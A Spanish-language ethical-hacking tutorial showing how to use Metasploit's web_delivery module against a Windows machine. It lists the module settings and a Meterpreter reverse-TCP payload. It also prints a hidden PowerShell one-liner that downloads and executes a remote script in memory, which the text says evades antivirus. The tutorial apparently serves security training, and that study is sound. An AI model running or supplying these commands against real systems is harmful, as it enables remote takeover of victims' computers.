Explotar un Sistema Windows utilizando el módulo web_delivery de MSF

El módulo de nombre “web_delivery” de Metasploit Framework, rápidamente activa un servidor web el cual sirve un payload o carga útil. El comando proporcionado iniciará un interprete en un lenguaje de script especificado, para luego descargar y ejecutar el payload. El principal propósito de este módulo es rápidamente establecer una sesión sobre una máquina objetivo, cuando el atacante manualmente escriba el comando por si mismo, por ejemplo a través de una inyección de comandos, sesión RDP, acceso local, o puede ser una ejecución de comandos remotos. Este vector de ataque no escribe hacia el disco, de tal manera no activará soluciones antivirus, y podría permitir el escalado de privilegios proporcionado por Meterpreter. Cuando se utiliza en objetivos PSH, se debe asegurar la arquitectura corresponda con la computadora objetivo, o utilizar SYSWOW64 powershell.exe para ejecutar cargas x86 sobre máquinas x64.

Se inicia la consola de Metasploit Framework para luego definir la utilización del módulo pertinente.

> search web_delivery
> use exploit/multi/script/web_delivery

Se definen las opciones del módulo, basándose en el escenario de evaluación.

> set SRVHOST Direccion_IP
> set SRVPORT 80
> set URIPATH /
> set LHOST Direccion_IP

Se modifica el payload por defecto a utilizar por el módulo, para luego proceder a definir el “target” u objetivo de explotación. De las tres opciones, Python, PHP, y PSH (PowerShell), se utilizará este exploit para evaluar un sistema Windows, de tal manera se utilizará la opción 2.

> set PAYLOAD windows/meterpreter/reverse_tcp
> show options
> show targets
> set target 2

Al ejecutar el exploit, se inicia un servidor en atención en Kali Linux, el cual espera por una conexión entrante. Todo lo necesario a continuación es ejecutar el comando PowerShell generado en el sistema objetivo.

En el Sistema Windows se inicia un prompt de comandos, para luego pegar y ejecutar el comando en PowerShell proporcionado por Metasploit Framework.

powershell.exe -nop -w hidden -c $l=new-object net.webclient;$l.proxy=[Net.WebRequest]::GetSystemWebProxy();$l.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $l.downloadstring('http://192.168.0.46/');

Después de unos segundos se tiene una sesión abierta de Meterpreter en el sistema objetivo, teniendo la capacidad de controlarlo remotamente.

> sessions -i 1
> sysinfo

Fuentes:

https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor en Hacking Ético, Forense Digital & GNU/Linux
Correo Electrónico: ReYDeS@gmail.com
Twitter: @Alonso_ReYDeS
LinkedIn: pe.linkedin.com/in/alonsocaballeroquezada
Facebook: https://www.facebook.com/alonsoreydes
Resumen de mi CV: http://www.reydes.com/d/?q=node/1